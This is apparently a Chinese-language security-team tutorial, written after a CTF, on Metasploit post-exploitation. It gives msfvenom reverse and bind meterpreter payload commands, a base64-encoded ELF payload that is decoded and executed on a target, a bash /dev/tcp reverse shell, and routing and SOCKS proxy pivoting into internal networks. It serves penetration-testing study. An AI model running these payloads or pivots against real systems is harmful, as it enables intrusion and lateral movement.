声明
本文作者:Gality(团队成员)
本文字数:4000
阅读时长:20min
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
前言
在最近的一次CTF比赛中,有内网渗透相关的题目,当时只能反弹一个最基本的bash,没办法上传代理工具把内网端口转发出来,由于时间紧没有细想,草草拿了主机的flag就没有继续了,但其实msf在这种情况下是有完善的功能的,搜索了下相关的资料还没有比较详细的讲解,这里希望能给出一个较为完整的解释,如果有任何问题,请师傅们指正。
(注:下面探讨的攻击利用都是建立在已经可以获得一个shell用于命令执行或者可以执行单条命令的情况)
一、
msfvenom
Metasploit相信大家都了解,由于msf可以通过加载模块来完成后渗透包括内网信息收集到攻击利用的全流程,所以非常便利,但是其功能的实现都依赖于meterpreter.
meterpreter是一种特殊的payload,它允许用户在原基础上进行拓展创造。它良好的交互性让它也被称为meterpreter shell,meterpreter的shell可以通过msfvenom来生成,所以这里先来介绍下msfvenom.
msfvenom的所有命令参数如下:
代码语言:javascript复制-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all 列出所有的类型 -p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom 使用的payload,如果被设置为 - ,那么从标准输入流中读取 --list-options List --payload <value>'s standard, advanced and evasion options 列出指定 Payload 的标准可选配置项 -f, --format <format> Output format (use --list formats to list) 格式 -e, --encoder <encoder> The encoder to use (use --list encoders to list) 使用的编码 --service-name <value> The service name to use when generating a service binary 生成服务二进制时使用的用户名 --sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string 生成大的windows时使用的新的节的名字 --smallest Generate the smallest possible payload using all available encoders 尽可能生成最短的 Payload --encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list) 加密shellcode的方式 --encrypt-key <value> A key to be used for --encrypt 加密时用的key --encrypt-iv <value> An initialization vector for --encrypt 加密时的初始IV -a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list) 指定目标系统架构 --platform <platform> The platform for --payload (use --list platforms to list) 指定目标系统平台 -o, --out <path> Save the payload to a file 保存 Payload 到文件 -b, --bad-chars <list> Characters to avoid example: 'x00xff' 设置需要在 Payload 中避免出现的字符 -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload 设置到真正的payload前有多少个nop --pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length) -s, --space <length> The maximum size of the resulting payload 设置未经编码的 Payload 的最大长度 --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) 编码后的payload的最大长度 -i, --iterations <count> The number of times to encode the payload 编码次数 -c, --add-code <path> Specify an additional win32 shellcode file to include 指定包含一个额外的win32 shellcode文件 -x, --template <path> Specify a custom executable file to use as a template 用一个模版作为文件 -k, --keep Preserve the --template behaviour and inject the payload as a new thread 保证模版文件的行为正常,注入的payload会作为一个新线程运行 -v, --var-name <value> Specify a custom variable name to use for certain output formats 使用一个用户自定义的变量名用于输出 -t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) 从标准输入中获取payload等待的秒数 -h, --help Show this message 帮助
关于msfvenom的一些细节如下:
payload
使用msfvenom --list payloads
列出所有可用的payload,这里的payload一般可以分三个部分来看(以下列出一些常见的):
1、适用平台:
代码语言:javascript复制- aix- android- apple_ios- bsd- cmd- firefox- generic- java- linux- osx- nodejs- php- python- ruby- windows
代码语言:javascript复制2、构架/使用的方式
代码语言:javascript复制- x86- x64- shell- meterpreter
3、连接类型
代码语言:javascript复制1、reverse_tcp 基于TCP的反弹shell,2、reverse_http 基于http方式的反向连接,在网速慢的情况下不稳定。3、reverse_https 基于https方式的反向连接,在网速慢的情况下不稳定。4、bind_tcp 基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。5、reverse_tcp_rc4 利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮下执行meterpreter。 反向连接: 就是攻击机开启一个端口,然后让目标机器去连接.(通常用于外围渗透)正向连接: 就是在目标机器上开启一个端口.然后我们攻击机去连接.(通常用于内网渗透)
bind类型的shell是监听某一个端口,需要攻击机主动连接,而reverse系列的命令是可以另靶机主动回连攻击机,相当于是反向连接.下述介绍一些实战中常用的shell的生成语法
二、
类型
其实生成的shell可以分为两种类型:
- 可执行文件
- shellcode
其中,可执行文件是可以直接执行的shell文件,但是会导致文件的落地,容易被溯源和检测,而shellcode的使用必须依赖于加载器,但是可以做到不落地,内存执行的目的,隐蔽性更强一点.
msf生成的shellcode其实就是汇编代码,需要将其加载到内存中直接执行,f参数输出的不同格式其实没有什么本质区别
可执行格式
代码语言:javascript复制asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-small、hta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、vba、vba-exe、vba-psh、vbs、war
shellcode
代码语言:javascript复制bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript
三、
使用msf接shell
代码语言:javascript复制use exploit/multi/handlerset PAYLOAD <Payload name>set LHOST <LHOST value>set LPORT <LPORT value>set ExitOnSession falseexploit -j -z
使用sessions
查看当前已有的会话,然后sessions -i 1
使用第一个会话,输入shell
取得远端的shell(每一个连接都会以一个session的形式存在,选择对应的session获取对应的shell)
使用background
命令将当前激活的shell切换到后台
注意:
payload的设置一定要与你生成shellcode/可执行文件时使用的payload相同,否则可能会出现session有建立但是激活时靶机报段错误的情况,如下图:
四、
payload生成
可执行文件
Linux
反向
代码语言:javascript复制msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.115.34 LPORT=35650 -f elf
正向
代码语言:javascript复制msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=192.168.115.34 LPORT=35650 -f elf
windows
反向
代码语言:javascript复制msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.115.34 LPORT=35650 -f exe
正向
代码语言:javascript复制msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.115.34 LPORT=35650 -f exe
shellcode
之前也分析过了,其实生成的shellcode本质并没有什么变化,且由于其需要加载器的特性,大多需要上传一个加载器去动态加载shellcode(虽然也可以通过反弹回的bash手写个加载器出来,但是实在太蠢了),可以考虑直接传一个免杀加载器作为后门,加载器的免杀还是很容易做的
五、
生成可执行文件反弹meterpreter
当遇到RCE时,可能会由于各种限制导致我们只能使用类似bash -i
的指令回弹一个简陋的bash,这时我们可以选择将可执行文件经过编码后传输过去,来获得一个meterpreter的shell
linux可以使用系统自带的base64
代码语言:javascript复制msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.115.34 LPORT=35650 -f elf | base64
会生成类似于如下图所示的字符:
在靶机上执行(或是在反弹回的bash上执行),当然,需要先在攻击机上使用msf监听某个端口(方法前面说过了)
代码语言:javascript复制echo "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgCLQsCocyJRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp Wg8FSIXAeO3/5g=" | base64 -d > 1.elfchmod x 1.elf./1.elf
效果如下:
中间出现一个段错误是由于我在msf设置监听的时候没有设置payload,二者使用的payload不同,导致有回连但是没有成功得到一个meterpreter
上述操作都成功后,就可以得到一个meterpreter用于后续的利用.
六、
sessions自动升级bash
我们仔细看看msf中sessions支持的参数:
代码语言:javascript复制msf6 > help sessionsUsage: sessions [options] or sessions [id]Active session manipulation and interaction.OPTIONS: -C <opt> Run a Meterpreter Command on the session given with -i, or all -K Terminate all sessions -S <opt> Row search filter. -c <opt> Run a command on the session given with -i, or all -d List all inactive sessions -h Help banner -i <opt> Interact with the supplied session ID -k <opt> Terminate sessions by session ID and/or range -l List all active sessions -n <opt> Name or rename a session by ID -q Quiet mode -s <opt> Run a script or module on the session given with -i, or all -t <opt> Set a response timeout (default: 15) -u <opt> Upgrade a shell to a meterpreter session on many platforms -v List all active sessions in verbose mode -x Show extended information in the session tableMany options allow specifying session ranges using commas and dashes.For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6
我们重点关注-u
参数,该参数会利用post/multi/manage/shell_to_meterpreter
将bash shell升级为meterpreter的shell,效果如下:
使用方法如下:
代码语言:javascript复制use exploit/multi/handlerset LHOST 192.168.115.29set LPORT 34345exploit -j -z
这里不用配置payload,直接使用默认的payload去接bash反弹回的shell就可以.
可以通过抓包来看实现方式:
1、首先是tcp握手建立连接(这里是用bash -i >& /dev/tcp/192.168.115.38/34341 0>&1
回连的shell),可以看到当连接建立后,靶机会自动返回命令提示符及相关信息
2、直接follow tcp流可以清晰的看到,msf只是将要发送的命令通过tcp直接明文传输了,显然这样会导致很容易被检测出来,后续再讨论怎么实现加密传输
分别看下作用:
- uname -ms:打印CPU构架(32/64位)和系统类型(linux/windows等),用于选择对应的可执行文件格式
- 第一个echo估计是用于测试是否成功建立shell连接的
- 将uname加起来的前后字符都是随机字符,作用猜测为定界符的作用,可以区分开uname返回的结果
- 重头戏是接下来的echo:
- echo -n 不换行打印
- 将字符追加到/tmp/的一个随机文件名下,之所以放到tmp是因为tmp默认是对所有人可读可写的
((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/Epdut' < '/tmp/LLYPt.b64'
这里其实是采用多种技术来实现base64解码,分别是base64/openssl/python/perl,其中base64分别使用了长参数和短参数的形式,>&2
指的是将输出重定向到标准错误,而标准错误又被重定向到tcp流中,显示在远端,base64的输入是从刚刚储存的文件中接收来的,将其decode得到的内容为一个elf文件并输出到/tmp/Epdut
- chmod赋予可执行权限
- 执行并删除之前生成的两个临时文件
3、当elf执行后,会重新建立一个meterpreter的连接,然后攻击机会发送storage,后续过程就都是加密的了,类似下图:
七、
利用meterpreter转发内网端口
利用pivot
利用pivot可直接把机器代理到受害者的内网环境,是msf常用的一种代理方式
在meterpreter中用route先查看目标主机所在的路由信息
用background退出当前的会话,使用route add 172.16.115.0 255.255.255.0 5
添加一条路由信息,后续所有向172.16.115.0的流向都会走session 5的代理
利用autoroute
先进入session会话中用runget_local_subnets
:
用run autoroute -s 172.16.115.0/24
将路由添加至本地(我这里是已经添加过了,所以没有添加成功)
八、
msf做代理
当做好上述的路由转发后,可以使用msf的auxiliary/server/socks5
将作为代理供其他程序使用
use auxiliary/server/socks5set SRVHOST 192.168.115.38run
当然也可以设置代理的用户名和密码
然后就可以用proxychains代理绝大部分程序的流量,先配置一下proxychains.conf文件,一般是在/etc/proxychains.conf,后面任何命令前加proxychains就可以让该命令使用代理了
Proxychains
命令
九、
msf二层代理
情景:内网中存在两台机器,机器A可以连接外网但是可访问到的内网服务比较少,但是可以访问到机器B,同时,机器B可以访问大量的内网服务,但无法直接连接外网
这时就可以利用msf的二层代理,将机器A当作中间代理,将流量代理到机器B上,拓扑如下:
Attacker -> A(172.16.115.38) -> B(10.10.10.3)
假设已经获取到了机器A回连的meterpreter的shell,先设置第一层代理:
代码语言:javascript复制route add 10.10.10.3 255.255.255.255 2
生成一个正向连接的可执行文件并在机器B上运行
代码语言:javascript复制msfvenom -p windows/meterpreter/bind_tcp RHOST=0.0.0.0 RPORT=4444 -f exe > 1.exe
设置监听:
代码语言:javascript复制use exploit/multi/handler set PAYLOAD windows/meterpreter/bind_tcpset RHOST 10.10.10.3set LPORT 4444exploit
此时,如果中间操作没有问题的话会获取到一个meterpreter的shell,二级代理就已经搭建完毕了,你可以添加需要访问的ip到路由表,通过第二层的session(session 3),就可以使用metasploit的其他模块访问或扫描了。
多级代理的原理同这个一样,不再过多描述了。
WgpSec狼组安全团队 提了一个问题
MSF在后渗透中的利用
参与讨论
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec